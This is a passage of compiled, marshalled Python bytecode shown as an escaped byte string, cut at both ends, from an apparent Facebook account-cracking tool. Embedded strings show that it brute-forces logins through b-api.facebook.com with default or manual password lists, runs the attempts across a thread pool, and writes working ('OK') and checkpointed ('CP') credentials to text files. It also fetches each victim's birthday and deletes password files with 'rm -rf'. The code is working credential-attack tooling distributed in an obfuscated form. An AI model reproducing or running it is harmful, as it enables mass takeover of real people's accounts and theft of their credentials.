00Z\x08d\rd\x0e\x84\x00Z\td\x0fd\x10\x84\x00Z\nd\x11S\x00)\x12r\xc7\x00\x00\x00c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00s\x02\x07\x00\x00g\x00|\x00_\x00g\x00|\x00_\x01d\x01|\x00_\x02t\x03d\x02\x83\x01\x01\x00t\x03d\x03t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01\x01\x00\t\x00t\x07d\x05t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01}\x02|\x02d\x02k\x02r5t\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00\x90\x03nK|\x02d\x07v\x00r\xaazH\t\x00z\x0f|\x01|\x00_\x0bt\x0c|\x00j\x0b\x83\x01\xa0\r\xa1\x00\xa0\x0e\xa1\x00|\x00_\x0fW\x00qc\x04\x00t\x10yb\x01\x00}\x03\x01\x00z\x0ct\x03d\x08|\x03\x16\x00\x83\x01\x01\x00W\x00Y\x00d\x00}\x03~\x03q:d\x00}\x03~\x03w\x01w\x00g\x00|\x00_\x11|\x00j\x0fD\x00]\x16}\x04z\x0f|\x00j\x11\xa0\x12d\t|\x04\xa0\x13d\n\xa1\x01d\x01\x19\x00i\x01\xa1\x01\x01\x00W\x00qi\x01\x00\x01\x00\x01\x00Y\x00qiW\x00n\x18\x04\x00t\x10y\x99\x01\x00}\x03\x01\x00z\x0ct\x03d\x08|\x03\x16\x00\x83\x01\x01\x00W\x00Y\x00d\x00}\x03~\x03q\x17d\x00}\x03~\x03w\x01w\x00t\x03d\x0bt\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01\x01\x00|\x00\xa0\x14\xa1\x00\x01\x00d\x00S\x00|\x02d\x0cv\x00\x90\x03r\x80\x90\x02z\xb6\t\x00z\x0f|\x01|\x00_\x0bt\x0c|\x00j\x0b\x83\x01\xa0\r\xa1\x00\xa0\x0e\xa1\x00|\x00_\x0fW\x00q\xda\x04\x00t\x10y\xd9\x01\x00}\x03\x01\x00z\x0ct\x03d\x08|\x03\x16\x00\x83\x01\x01\x00W\x00Y\x00d\x00}\x03~\x03q\xb1d\x00}\x03~\x03w\x01w\x00g\x00|\x00_\x11t\x15\x83\x00\x01\x00t\x07d\x05t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01}\x05|\x05d\rv\x00r\xfct\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00n\xc1|\x05d\x0ev\x00\x90\x01r%|\x00j\x0fD\x00]\xb8}\x04z\x18|\x00j\x11\xa0\x12|\x04\xa0\x13d\n\xa1\x01d\x01\x19\x00t\x16|\x04\xa0\x13d\n\xa1\x01d\x0f\x19\x00\x83\x01d\x10\x9c\x02\xa1\x01\x01\x00W\x00\x90\x01q\x04\x01\x00\x01\x00\x01\x00Y\x00\x90\x01q\x04|\x05d\x11v\x00\x90\x01rN|\x00j\x0fD\x00]\x8f}\x04z\x18|\x00j\x11\xa0\x12|\x04\xa0\x13d\n\xa1\x01d\x01\x19\x00t\x17|\x04\xa0\x13d\n\xa1\x01d\x0f\x19\x00\x83\x01d\x10\x9c\x02\xa1\x01\x01\x00W\x00\x90\x01q-\x01\x00\x01\x00\x01\x00Y\x00\x90\x01q-|\x05d\x12v\x00\x90\x01rw|\x00j\x0fD\x00]f}\x04z\x18|\x00j\x11\xa0\x12|\x04\xa0\x13d\n\xa1\x01d\x01\x19\x00t\x18|\x04\xa0\x13d\n\xa1\x01d\x0f\x19\x00\x83\x01d\x10\x9c\x02\xa1\x01\x01\x00W\x00\x90\x01qV\x01\x00\x01\x00\x01\x00Y\x00\x90\x01qV|\x05d\x13v\x00\x90\x01r\xb0t\x19\xa0\x1ad\x14\xa1\x01\x01\x00t\x19\xa0\x1ad\x15\xa1\x01\x01\x00t\x1b\x83\x00\x01\x00t\x1c\x83\x00\x01\x00|\x00j\x0fD\x00]-}\x04z\x18|\x00j\x11\xa0\x12|\x04\xa0\x13d\n\xa1\x01d\x01\x19\x00t\x1d|\x04\xa0\x13d\n\xa1\x01d\x0f\x19\x00\x83\x01d\x10\x9c\x02\xa1\x01\x01\x00W\x00\x90\x01q\x8f\x01\x00\x01\x00\x01\x00Y\x00\x90\x01q\x8ft\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00t\x1e\x83\x00\x01\x00t\x07d\x05t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01}\x06t\x03d\x02\x83\x01\x01\x00|\x06d\rv\x00\x90\x01r\xe2t\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00\x90\x01n\x83|\x06d\x16v\x00\x90\x02r`t\x03d\x17t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01\x01\x00t\x07d\x05t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01}\x07|\x07d\rv\x00\x90\x02r\x0ft\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00\x90\x01nV|\x07d\x18v\x00\x90\x02r0t\x1f\x83\x00\x01\x00t \x83\x00\x01\x00t!d\x19\x83\x01\xa0"|\x00j#|\x00j\x11\xa1\x02\x01\x00t\x19\xa0$|\x00j\x0b\xa1\x01\x01\x00t%\x83\x00\x01\x00W\x00d\x00S\x00|\x07d\x1av\x00\x90\x02rQt\x1f\x83\x00\x01\x00t \x83\x00\x01\x00t!d\x19\x83\x01\xa0"|\x00j&|\x00j\x11\xa1\x02\x01\x00t\x19\xa0$|\x00j\x0b\xa1\x01\x01\x00t%\x83\x00\x01\x00W\x00d\x00S\x00t\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00\x90\x01n\x05|\x06d\x1bv\x00\x90\x02r\xdct\x03d\x17t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01\x01\x00t\x07d\x05t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01}\x07|\x07d\rv\x00\x90\x02r\x8ct\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00n\xd9|\x07d\x18v\x00\x90\x02r\xadt\x1f\x83\x00\x01\x00t \x83\x00\x01\x00t!d\x19\x83\x01\xa0"|\x00j\'|\x00j\x11\xa1\x02\x01\x00t\x19\xa0$|\x00j\x0b\xa1\x01\x01\x00t%\x83\x00\x01\x00W\x00d\x00S\x00|\x07d\x1av\x00\x90\x02r\xcet\x1f\x83\x00\x01\x00t \x83\x00\x01\x00t!d\x19\x83\x01\xa0"|\x00j(|\x00j\x11\xa1\x02\x01\x00t\x19\xa0$|\x00j\x0b\xa1\x01\x01\x00t%\x83\x00\x01\x00W\x00d\x00S\x00t\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00n\x89|\x06d\x1cv\x00\x90\x03rXt\x03d\x17t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01\x01\x00t\x07d\x05t\x04t\x05t\x04t\x06f\x04\x16\x00\x83\x01}\x07|\x07d\rv\x00\x90\x03r\x08t\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00n]|\x07d\x18v\x00\x90\x03r)t\x1f\x83\x00\x01\x00t \x83\x00\x01\x00t!d\x19\x83\x01\xa0"|\x00j)|\x00j\x11\xa1\x02\x01\x00t\x19\xa0$|\x00j\x0b\xa1\x01\x01\x00t%\x83\x00\x01\x00W\x00d\x00S\x00|\x07d\x1av\x00\x90\x03rJt\x1f\x83\x00\x01\x00t \x83\x00\x01\x00t!d\x19\x83\x01\xa0"|\x00j*|\x00j\x11\xa1\x02\x01\x00t\x19\xa0$|\x00j\x0b\xa1\x01\x01\x00t%\x83\x00\x01\x00W\x00d\x00S\x00t\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00n\rt\x08d\x06t\tt\x05t\tt\x05f\x04\x16\x00\x83\x01\x01\x00t\n\x83\x00\x01\x00W\x00n\x19\x04\x00t\x10\x90\x03y\x7f\x01\x00}\x03\x01\x00z\x0ct\x03d\x08|\x03\x16\x00\x83\x01\x01\x00W\x00Y\x00d\x00}\x03~\x03n\x05d\x00}\x03~\x03w\x01w\x00q\x18)\x1dNr\x03\x00\x00\x00r9\x00\x00\x00u4\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sCRACK WITH DEFAULT/MANUAL PASS [d/m]Tr\x85\x00\x00\x00r>\x00\x00\x00)\x05\xda\x01mrc\x00\x00\x00rI\x00\x00\x00r\x18\x00\x00\x00rJ\x00\x00\x00z\x05 %sr\x80\x00\x00\x00r\xc0\x00\x00\x00u1\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sEXAMPLE : 123456,1234567,12345678)\x05r\x8b\x00\x00\x00\xda\x01Dr@\x00\x00\x00r\x17\x00\x00\x00rA\x00\x00\x00r=\x00\x00\x00r\xab\x00\x00\x00r \x00\x00\x00)\x02r\x80\x00\x00\x00\xda\x02pwr\xac\x00\x00\x00r\xad\x00\x00\x00r\xae\x00\x00\x00z\x0frm -rf pass.txtz\x15rm -rf numberpass.txtr?\x00\x00\x00\xf5(\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sPOP UP CP OPTIONS? [y/t]\xa9\x05r@\x00\x00\x00r\x17\x00\x00\x00rA\x00\x00\x00r{\x00\x00\x00\xda\x01Y\xe9#\x00\x00\x00\xa9\x05rI\x00\x00\x00r\x18\x00\x00\x00rJ\x00\x00\x00\xda\x01t\xda\x01TrH\x00\x00\x00r\x86\x00\x00\x00)+\xda\x03adar\xef\x00\x00\x00\xda\x02kor:\x00\x00\x00r`\x00\x00\x00ra\x00\x00\x00rb\x00\x00\x00r_\x00\x00\x00r/\x00\x00\x00rc\x00\x00\x00r\x99\x00\x00\x00rN\x01\x00\x00rk\x00\x00\x00r\x95\x00\x00\x00\xda\nsplitlinesZ\x02fsr\xc8\x00\x00\x00\xda\x02flr\xc5\x00\x00\x00r\xd6\x00\x00\x00\xda\x06pwlist\xda\x0fstart_methodezzr\xda\x00\x00\x00r\xdd\x00\x00\x00r\xde\x00\x00\x00r7\x00\x00\x00r8\x00\x00\x00r\xe4\x00\x00\x00r\xe5\x00\x00\x00r\xe2\x00\x00\x00\xda\x0cstart_methodr;\x00\x00\x00\xda\x07started\xda\nThreadPool\xda\x03map\xda\x08api_opsi\xda\x06removerm\x00\x00\x00r\xf8\x00\x00\x00\xda\x0bmbasic_opsi\xda\x06mbasic\xda\tfree_opsi\xda\x04free)\x08\xda\x04self\xda\x05filesr\x8f\x00\x00\x00r,\x00\x00\x00r\xa2\x00\x00\x00Z\x04kopi\xda\x03put\xda\x03pufr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x08__init__\xf5\x02\x00\x00sB\x01\x00\x00\x06\x01\x06\x01\x06\x01\x08\x01\x14\x01\x02\x01\x14\x01\x08\x01\x14\x01\n\x01\x08\x01\x02\x01\x02\x01\x02\x01\x06\x01\x14\x01\x04\x01\x0e\x01\x0c\x01\x0c\x01\x08\x80\x02\xfe\x06\x03\n\x01\x02\x01\x1e\x01\n\x01\x04\xfd\x0e\x04\x0c\x01\x0c\x01\x08\x80\x02\xfe\x14\x03\x08\x01\x04\x01\n\x01\x04\x01\x02\x01\x02\x01\x06\x01\x14\x01\x04\x01\x0e\x01\x0c\x01\x0c\x01\x08\x80\x02\xfe\x06\x03\x06\x01\x14\x01\x08\x01\x14\x01\x08\x01\n\x01\n\x01\x02\x010\x01\x0c\x01\n\x01\n\x01\x02\x010\x01\x0c\x01\n\x01\n\x01\x02\x010\x01\x0c\x01\n\x01\n\x01\n\x01\x06\x01\x06\x01\n\x01\x02\x010\x01\x0c\x01\x14\x02\x06\x01\x06\x01\x14\x01\x08\x01\n\x01\x14\x01\n\x01\n\x01\x14\x01\x14\x01\n\x01\x14\x01\n\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\x06\x01\x06\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\x06\x01\x06\x01\x14\x02\n\x01\n\x01\x14\x01\x14\x01\n\x01\x14\x01\x08\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\x06\x01\x06\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\x06\x01\x06\x01\x14\x02\x08\x01\n\x01\x14\x01\x14\x01\n\x01\x14\x01\x08\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\x06\x01\x06\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\x06\x01\x06\x01\x14\x02\x08\x01\x14\x02\x06\x01\x04\x80\x10\x01\x18\x01\x08\x80\x02\xff\x00\x81\x02\xecz\x0ecrack.__init__c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\x96\x03\x00\x00t\x00d\x01t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\xa0\x04d\x02\xa1\x01|\x00_\x05t\x06|\x00j\x05\x83\x01d\x03k\x02r\x1b|\x00\xa0\x07\xa1\x00\x01\x00d\x00S\x00|\x00j\x08D\x00]\n}\x01|\x01\xa0\td\x04|\x00j\x05i\x01\xa1\x01\x01\x00q\x1et\n\x83\x00\x01\x00t\x00d\x05t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x02t\x0bd\x06\x83\x01\x01\x00|\x02d\x07v\x00rMt\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00|\x02d\tv\x00r\xc5t\x0bd\nt\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x00d\x05t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x03|\x03d\x07v\x00rxt\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00|\x03d\x0bv\x00r\x97t\x0f\x83\x00\x01\x00t\x10\x83\x00\x01\x00t\x11d\x0c\x83\x01\xa0\x12|\x00j\x13|\x00j\x08\xa1\x02\x01\x00t\x14\xa0\x15|\x00j\x16\xa1\x01\x01\x00t\x17\x83\x00\x01\x00d\x00S\x00|\x03d\rv\x00r\xb6t\x0f\x83\x00\x01\x00t\x10\x83\x00\x01\x00t\x11d\x0c\x83\x01\xa0\x12|\x00j\x18|\x00j\x08\xa1\x02\x01\x00t\x14\xa0\x15|\x00j\x16\xa1\x01\x01\x00t\x17\x83\x00\x01\x00d\x00S\x00t\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00|\x02d\x0ev\x00\x90\x01r@t\x0bd\nt\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x00d\x05t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x03|\x03d\x07v\x00r\xf1t\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00|\x03d\x0bv\x00\x90\x01r\x11t\x0f\x83\x00\x01\x00t\x10\x83\x00\x01\x00t\x11d\x0c\x83\x01\xa0\x12|\x00j\x19|\x00j\x08\xa1\x02\x01\x00t\x14\xa0\x15|\x00j\x16\xa1\x01\x01\x00t\x17\x83\x00\x01\x00d\x00S\x00|\x03d\rv\x00\x90\x01r1t\x0f\x83\x00\x01\x00t\x10\x83\x00\x01\x00t\x11d\x0c\x83\x01\xa0\x12|\x00j\x1a|\x00j\x08\xa1\x02\x01\x00t\x14\xa0\x15|\x00j\x16\xa1\x01\x01\x00t\x17\x83\x00\x01\x00d\x00S\x00t\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00|\x02d\x0fv\x00\x90\x01r\xbct\x0bd\x10t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x00d\x05t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x03|\x03d\x07v\x00\x90\x01rmt\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00|\x03d\x0bv\x00\x90\x01r\x8dt\x0f\x83\x00\x01\x00t\x10\x83\x00\x01\x00t\x11d\x0c\x83\x01\xa0\x12|\x00j\x1b|\x00j\x08\xa1\x02\x01\x00t\x14\xa0\x15|\x00j\x16\xa1\x01\x01\x00t\x17\x83\x00\x01\x00d\x00S\x00|\x03d\rv\x00\x90\x01r\xadt\x0f\x83\x00\x01\x00t\x10\x83\x00\x01\x00t\x11d\x0c\x83\x01\xa0\x12|\x00j\x1c|\x00j\x08\xa1\x02\x01\x00t\x14\xa0\x15|\x00j\x16\xa1\x01\x01\x00t\x17\x83\x00\x01\x00d\x00S\x00t\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00t\x0cd\x08t\rt\x02t\rt\x02f\x04\x16\x00\x83\x01\x01\x00t\x0e\x83\x00\x01\x00d\x00S\x00)\x11Nu!\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sENTER PASSWORD : r\xe1\x00\x00\x00r\x03\x00\x00\x00rX\x01\x00\x00r\x85\x00\x00\x00r9\x00\x00\x00r=\x00\x00\x00r>\x00\x00\x00r?\x00\x00\x00u\'\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sPOP UP CP OPTIONS [y/t]rZ\x01\x00\x00\xe9\x1e\x00\x00\x00r]\x01\x00\x00rH\x00\x00\x00r\x86\x00\x00\x00rY\x01\x00\x00)\x1dr_\x00\x00\x00r`\x00\x00\x00ra\x00\x00\x00rb\x00\x00\x00r\xd6\x00\x00\x00rX\x01\x00\x00r\xc6\x00\x00\x00rd\x01\x00\x00rc\x01\x00\x00r\x0b\x01\x00\x00rf\x01\x00\x00r:\x00\x00\x00r/\x00\x00\x00rc\x00\x00\x00r\x99\x00\x00\x00r;\x00\x00\x00rg\x01\x00\x00rh\x01\x00\x00ri\x01\x00\x00rj\x01\x00\x00r7\x00\x00\x00rk\x01\x00\x00rN\x01\x00\x00rm\x00\x00\x00r\xf8\x00\x00\x00rl\x01\x00\x00rm\x01\x00\x00rn\x01\x00\x00ro\x01\x00\x00)\x04rp\x01\x00\x00r\xa2\x00\x00\x00rr\x01\x00\x00rs\x01\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00rd\x01\x00\x00\x90\x03\x00\x00s\x92\x00\x00\x00\x1c\x01\x0e\x01\x0c\x01\n\x02\x12\x01\x06\x01\x14\x01\x08\x01\x08\x01\x14\x01\n\x01\x08\x01\x14\x01\x14\x01\x08\x01\x14\x01\n\x01\x08\x01\x06\x01\x06\x01\x14\x01\x0c\x01\n\x01\x08\x01\x06\x01\x06\x01\x14\x01\x0c\x01\n\x01\x14\x02\n\x01\n\x01\x14\x01\x14\x01\x08\x01\x14\x01\n\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\n\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\n\x01\x14\x02\n\x01\n\x01\x14\x01\x14\x01\n\x01\x14\x01\n\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\n\x01\n\x01\x06\x01\x06\x01\x14\x01\x0c\x01\n\x01\x14\x02\n\x01\x14\x02\n\x01z\x0ccrack.pwlistc\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x10\x00\x00\x00C\x00\x00\x00s\x88\x02\x00\x00\x90\x01z7|\x01\xa0\x00d\x01\xa1\x01D\x00\x90\x01]\x01}\x02t\x01|\x01\xa0\x00d\x02\xa1\x01|\x02d\x03\x83\x03}\x03|\x03\xa0\x00d\x04\xa1\x01d\x05k\x02r\xcczht\x02\xa0\x00d\x06|\x01\xa0\x00d\x02\xa1\x01\x17\x00d\x07\x17\x00t\x03d\x08d\t\x83\x02\xa0\x04\xa1\x00\x17\x00\xa1\x01}\x04t\x05\xa0\x06|\x04j\x07\xa1\x01}\x05|\x05d\n\x19\x00}\x06|\x06\xa0\x08d\x0b\xa1\x01\\\x03}\x07}\x08}\tt\t|\x07\x19\x00}\x07t\nd\x0ct\x0bt\x0ct\x0b|\x01\xa0\x00d\x02\xa1\x01|\x02|\x08|\x07|\tt\r|\x01\xa0\x00d\x02\xa1\x01\x83\x01f\t\x16\x00\x83\x01\x01\x00|\x00j\x0e\xa0\x0fd\r|\x01\xa0\x00d\x02\xa1\x01|\x02|\x08|\x07|\tf\x05\x16\x00\xa1\x01\x01\x00t\x03d\x0et\x10\x16\x00d\x0f\x83\x02\xa0\x11d\x10|\x01\xa0\x00d\x02\xa1\x01|\x02|\x08|\x07|\tf\x05\x16\x00\xa1\x01\x01\x00W\x00\x01\x00\x90\x01q\n\x04\x00t\x12t\x13f\x02y\x93\x01\x00\x01\x00\x01\x00d\x11}\x07d\x11}\x08d\x11}\tY\x00n\x04\x01\x00\x01\x00\x01\x00Y\x00t\nd\x12t\x0bt\x0ct\x0b|\x01\xa0\x00d\x02\xa1\x01|\x02t\r|\x01\xa0\x00d\x02\xa1\x01\x83\x01f\x06\x16\x00\x83\x01\x01\x00|\x00j\x0e\xa0\x0fd\x13|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00t\x03d\x0et\x10\x16\x00d\x0f\x83\x02\xa0\x11d\x14|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00\x01\x00\x90\x01q\n|\x03\xa0\x00d\x04\xa1\x01d\x15k\x02\x90\x01r\tt\nd\x16t\x14t\x0ct\x14|\x01\xa0\x00d\x02\xa1\x01|\x02t\r|\x01\xa0\x00d\x02\xa1\x01\x83\x01f\x06\x16\x00\x83\x01\x01\x00|\x00j\x15\xa0\x0fd\x13|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00t\x03d\x17t\x10\x16\x00d\x0f\x83\x02\xa0\x11d\x14|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00\x01\x00\x90\x01q\nq\x07|\x00\x04\x00j\x16d\x187\x00\x02\x00_\x16t\nd\x19t\x14t\x0ct\x14t\x0b|\x00j\x16t\x17|\x00j\x18\x83\x01t\x0bt\x0ct\x17|\x00j\x15\x83\x01t\x0bt\x0ct\x17|\x00j\x0e\x83\x01t\x0bt\x0cf\x0e\x16\x00d\x11d\x1a\x8d\x02\x01\x00t\x19j\x1a\xa0\x1b\xa1\x00\x01\x00W\x00d\x00S\x00\x01\x00\x01\x00\x01\x00|\x00\xa0\x1c|\x01\xa1\x01\x01\x00Y\x00d\x00S\x00)\x1bNrX\x01\x00\x00r\x80\x00\x00\x00\xfa\x1ahttps://b-api.facebook.comr\xed\x00\x00\x00r\xef\x00\x00\x00r\xb8\x00\x00\x00r\xb9\x00\x00\x00rE\x00\x00\x00r\x7f\x00\x00\x00\xda\x08birthday\xfa\x01/\xf5$\x00\x00\x00\r%s[%sCP%s] %s \xe2\x80\xa2 %s \xe2\x80\xa2 %s %s %s%s\xf5\x10\x00\x00\x00%s\xe2\x80\xa2%s\xe2\x80\xa2%s%s%s\xfa\tCP/%s.txt\xfa\x02a+\xf5\x11\x00\x00\x00%s\xe2\x80\xa2%s\xe2\x80\xa2%s%s%s\nr\x84\x00\x00\x00\xf5\x1c\x00\x00\x00\r%s[%sCP%s] %s \xe2\x80\xa2 %s%s \xf5\x07\x00\x00\x00%s\xe2\x80\xa2%s\xf5\x08\x00\x00\x00%s\xe2\x80\xa2%s\nr\xeb\x00\x00\x00\xf5\x1c\x00\x00\x00\r%s[%sOK%s] %s \xe2\x80\xa2 %s%s \xfa\tOK/%s.txtr \x00\x00\x00\xfa1\r%s[%sCRACK%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s\xa9\x01\xda\x03end)\x1drg\x00\x00\x00r\xfa\x00\x00\x00rf\x00\x00\x00rk\x00\x00\x00r\x95\x00\x00\x00rh\x00\x00\x00ri\x00\x00\x00rj\x00\x00\x00r\xd6\x00\x00\x00\xda\tbulan_ttlr:\x00\x00\x00rb\x00\x00\x00ra\x00\x00\x00rU\x01\x00\x00r\xef\x00\x00\x00r\xc5\x00\x00\x00\xda\x06tarikhr&\x00\x00\x00rp\x00\x00\x00rq\x00\x00\x00r`\x00\x00\x00r`\x01\x00\x00ra\x01\x00\x00r\xc6\x00\x00\x00rc\x01\x00\x00r$\x00\x00\x00r%\x00\x00\x00r\'\x00\x00\x00r\xf8\x00\x00\x00\xa9\nrp\x01\x00\x00rc\x01\x00\x00r\xa2\x00\x00\x00\xda\x03log\xda\x02ke\xda\x02tt\xda\x03ttlrV\x01\x00\x00r\x8b\x00\x00\x00r{\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r\xf8\x00\x00\x00\xdf\x03\x00\x00sF\x00\x00\x00\x04\x01\x10\x01\n\x01\x04\x01\x04\xff\x0e\x02\x02\x01&\x01\x0c\x01\x08\x01\x10\x01\x08\x01.\x01 \x01(\x01\x08\x01\x10\x01\x04\x01\x04\x01\x08\x01\x08\x01(\x01\x1a\x01"\x01\x06\x01\x10\x01(\x01\x1a\x01"\x01\x06\x01\x02\x01\x0e\x02P\x01\x06\x01\x10\x01z\tcrack.apic\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x10\x00\x00\x00C\x00\x00\x00s\x90\x02\x00\x00\x90\x01z;|\x01\xa0\x00d\x01\xa1\x01D\x00\x90\x01]\x05}\x02t\x01|\x01\xa0\x00d\x02\xa1\x01|\x02d\x03\x83\x03}\x03|\x03\xa0\x00d\x04\xa1\x01d\x05k\x02r\xcczht\x02\xa0\x00d\x06|\x01\xa0\x00d\x02\xa1\x01\x17\x00d\x07\x17\x00t\x03d\x08d\t\x83\x02\xa0\x04\xa1\x00\x17\x00\xa1\x01}\x04t\x05\xa0\x06|\x04j\x07\xa1\x01}\x05|\x05d\n\x19\x00}\x06|\x06\xa0\x08d\x0b\xa1\x01\\\x03}\x07}\x08}\tt\t|\x07\x19\x00}\x07t\nd\x0ct\x0bt\x0ct\x0b|\x01\xa0\x00d\x02\xa1\x01|\x02|\x08|\x07|\tt\r|\x01\xa0\x00d\x02\xa1\x01\x83\x01f\t\x16\x00\x83\x01\x01\x00|\x00j\x0e\xa0\x0fd\r|\x01\xa0\x00d\x02\xa1\x01|\x02|\x08|\x07|\tf\x05\x16\x00\xa1\x01\x01\x00t\x03d\x0et\x10\x16\x00d\x0f\x83\x02\xa0\x11d\x10|\x01\xa0\x00d\x02\xa1\x01|\x02|\x08|\x07|\tf\x05\x16\x00\xa1\x01\x01\x00W\x00\x01\x00\x90\x01q\x0e\x04\x00t\x12t\x13f\x02y\x93\x01\x00\x01\x00\x01\x00d\x11}\x07d\x11}\x08d\x11}\tY\x00n\x04\x01\x00\x01\x00\x01\x00Y\x00t\nd\x12t\x0bt\x0ct\x0b|\x01\xa0\x00d\x02\xa1\x01|\x02t\r|\x01\xa0\x00d\x02\xa1\x01\x83\x01f\x06\x16\x00\x83\x01\x01\x00|\x00j\x0e\xa0\x0fd\x13|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00t\x03d\x0et\x10\x16\x00d\x0f\x83\x02\xa0\x11d\x14|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00\x01\x00\x90\x01q\x0e|\x03\xa0\x00d\x04\xa1\x01d\x15k\x02\x90\x01r\rt\nd\x16t\x14t\x15t\x14|\x01\xa0\x00d\x02\xa1\x01|\x02t\r|\x01\xa0\x00d\x02\xa1\x01\x83\x01f\x06\x16\x00\x83\x01\x01\x00t\nd\x17\x83\x01\x01\x00|\x00j\x16\xa0\x0fd\x13|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00t\x03d\x18t\x10\x16\x00d\x0f\x83\x02\xa0\x11d\x14|\x01\xa0\x00d\x02\xa1\x01|\x02f\x02\x16\x00\xa1\x01\x01\x00\x01\x00\x90\x01q\x0eq\x07|\x00\x04\x00j\x17d\x197\x00\x02\x00_\x17t\nd\x1at\x14t\x15t\x14t\x0b|\x00j\x17t\x18|\x00j\x19\x83\x01t\x0bt\x15t\x18|\x00j\x16\x83\x01t\x0bt\x15t\x18|\x00j\x0e\x83\x01t\x0bt\x15f\x0e\x16\x00d\x11d\x1b\x8d\x02\x01\x00t\x1aj\x1b\xa0\x1c\xa1\x00\x01\x00W\x00d\x00S\x00\x01\x00\x01\x00\x01\x00|\x00\xa0\x1d|\x01\xa1\x01\x01\x00Y\x00d\x00S\x00)\x1cNrX\x01\x00\x00r\x80\x00\x00\x00rv\x01\x00\x00r\xed\x00\x00\x00r\xef\x00\x00\x00r\xb8\x00\x00\x00r\xb9\x00\x00\x00rE\x00\x00\x00r\x7f\x00\x00\x00rw\x01\x00\x00rx\x01\x00\x00ry\x01\x00\x00rz\x01\x00\x00r{\x01\x00\x00r|\x01\x00\x00r}\x01\x00\x00r\x84\x00\x00\x00r~\x01\x00\x00r\x7f\x01\x00\x00r